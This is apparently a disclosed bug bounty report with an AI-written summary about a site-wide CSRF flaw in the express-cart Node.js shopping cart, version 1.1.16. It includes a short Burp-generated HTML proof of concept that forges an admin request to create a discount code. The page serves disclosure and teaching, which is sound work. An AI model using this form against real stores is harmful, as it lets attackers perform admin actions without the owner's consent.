[express-cart] Wide CSRF in application
The express-cart application lacks CSRF tokens on admin actions, allowing an attacker to craft a malicious page that performs privileged operations such as creating discount codes when an admin visits it. The attacker could create products, orders, users, and discount codes with admin privileges.
- Triaged in 6 hours
- Fixed in 5 months
- Disclosed after 5 months
NOTE! Thanks for submitting a report! Please replace all the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!
I would like to report CSRF in ``express-cart` It allows attacker cheat admin to do bad behaviors . Main reason is csrf token isn't used , vulnerability is application wide .
Module
module name: express-cart
version: 1.1.16
npm page: https://www.npmjs.com/package/express-cart
Module Description
expressCart is a fully functional shopping cart built in Node.js (Express, MongoDB) with Stripe, PayPal, Authorize.net, Adyen and Instore payments.
Module Stats
[1] weekly downloads : 21
Vulnerability
Vulnerability Description
Description about how the vulnerability was found and how it can be exploited, how it harms package users (data modification/lost, system access, other.
- Through csrf attacker can do : create product , order , user , create discount codes ,.... (required admin action)
Steps To Reproduce:
Detailed steps to reproduce with all required references/steps/commands. If there is any exploit code or reference to the package source code this is the place where it should be put.
- Demo create discount codes : (View detail on clip )
-
Create PoC with HTML (generated by burpsuite)
-
Admin click
-
discount codeis created
- PoC :
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:1111/admin/settings/discount/create" method="POST">
<input type="hidden" name="code" value="CSRF-CODE-DEMO" />
<input type="hidden" name="type" value="percent" />
<input type="hidden" name="value" value="30" />
<input type="hidden" name="start" value="21/02/2020 14:32" />
<input type="hidden" name="end" value="22/02/2020 14:32" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Wrap up
Select Y or N for the following statements:
- I contacted the maintainer to let them know: [Y/N] N
- I opened an issue in the related repository: [Y/N] N
Hunter's comments and funny memes goes here
Impact
attacker can do admin privileges
Attachments
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application does not use CSRF tokens to verify that state-changing requests originate from its own pages.
Impact
An attacker could perform admin-level actions such as creating products, orders, users, and discount codes, potentially leading to data modification or unauthorised access.
What the attacker needed
Admin is logged in; admin visits attacker-controlled page
How it was found
- Create a malicious HTML page that automatically submits a form to the admin discount creation endpoint.
- Trick the logged-in admin into visiting the page.
- The discount code is created without the admin's intent.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
CSRF (Cross-Site Request Forgery) is when a malicious website tricks a logged-in user's browser into sending a request to another site where the user is authenticated. Because the application does not check for a secret token, the attacker can make the admin perform actions like creating a discount code without their knowledge.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.